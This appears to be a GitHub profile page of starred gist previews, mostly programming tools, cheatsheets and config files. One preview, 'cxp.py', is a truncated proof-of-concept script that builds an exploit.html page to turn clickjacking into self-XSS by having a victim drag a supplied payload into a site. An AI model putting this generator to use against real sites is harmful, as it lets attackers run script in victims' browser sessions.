Skip to content

Instantly share code, notes, and snippets.

View rishabhdeepsingh's full-sized avatar
doot didily donger cuckerino

RishabhDeep Singh rishabhdeepsingh

doot didily donger cuckerino
View GitHub Profile
@ecnerwala
ecnerwala / download_prob.py
Last active April 11, 2024 12:15
ecnerwala's CP template system
#!/usr/bin/env python3
"""Download and setup problems from Competitive Companion
Usage:
download_prob.py --echo
download_prob.py [<name>... | -n <number> | -b <batches> | --timeout <timeout>] [--dryrun]
Options:
-h --help Show this screen.
--echo Just echo received responses and exit.
@algmyr
algmyr / test.sh
Created October 23, 2018 21:14
Simple hackable test script
#!/bin/bash
mode="$1"
if [[ "$mode" == "perf" ]]; then
cmd="$2"
i=0
while true
do
echo "Test $((i+=1))"
python gen.py > gendata
@akshat-khare
akshat-khare / GSoC2018_Open_Roberta_Lab__Akshat_Khare.md
Last active September 9, 2020 01:29
Google Summer of Code 2018 - Akshat Khare - Open Roberta Lab - Contributions - GSoC 2018 with Open Roberta Lab
@kuamit5516
kuamit5516 / sources.list
Created June 15, 2018 13:21
Kali-Linux 2018 Sources.list
deb http://kali.cs.nctu.edu.tw/ /kali main contrib non-free
deb http://kali.cs.nctu.edu.tw/ /wheezy main contrib non-free
deb http://kali.cs.nctu.edu.tw/kali kali-dev main contrib non-free
deb http://kali.cs.nctu.edu.tw/kali kali-dev main/debian-installer
deb-src http://kali.cs.nctu.edu.tw/kali kali-dev main contrib non-free
deb http://kali.cs.nctu.edu.tw/kali kali main contrib non-free
deb http://kali.cs.nctu.edu.tw/kali kali main/debian-installer
deb-src http://kali.cs.nctu.edu.tw/kali kali main contrib non-free
deb http://kali.cs.nctu.edu.tw/kali-security kali/updates main contrib non-free
deb-src http://kali.cs.nctu.edu.tw/kali-security kali/updates main contrib non-free
@sharmaeklavya2
sharmaeklavya2 / cp_syllabus.md
Last active March 29, 2024 12:24
Competitive Programming Syllabus

Competitive Programming Syllabus

Geometry

  • Problems - Refer the article for a list of problems which can be solved using Rotating Calipers technique.
// C++ includes used for precompiling -*- C++ -*-
// Copyright (C) 2003-2013 Free Software Foundation, Inc.
//
// This file is part of the GNU ISO C++ Library. This library is free
// software; you can redistribute it and/or modify it under the
// terms of the GNU General Public License as published by the
// Free Software Foundation; either version 3, or (at your option)
// any later version.
@vishwaraj101
vishwaraj101 / cxp.py
Last active March 11, 2023 16:13
clickjack to xss poc
print "Clickjack to Xss"
vector=raw_input('xss vector--> ') #xss payload
html=raw_input('Custom Iframe Code--> ') #custom iframe code
fo=open('exploit.html','w') #creating html file
source_code="""<html><body>
<h1>Clickjack to exploit self xss </h1>
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', '%s')"><h3>DRAG ME!!</h3></div>
"""%(vector)
@velicast
velicast / stdc++.h
Created July 17, 2013 17:56
Linux GCC 4.8.0 /bits/stdc++.h header definition.
// C++ includes used for precompiling -*- C++ -*-
// Copyright (C) 2003-2013 Free Software Foundation, Inc.
//
// This file is part of the GNU ISO C++ Library. This library is free
// software; you can redistribute it and/or modify it under the
// terms of the GNU General Public License as published by the
// Free Software Foundation; either version 3, or (at your option)
// any later version.
@MohamedAlaa
MohamedAlaa / tmux-cheatsheet.markdown
Last active May 10, 2024 16:49
tmux shortcuts & cheatsheet

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname
@tsabat
tsabat / zsh.md
Last active December 25, 2023 19:16
Getting oh-my-zsh to work in Ubuntu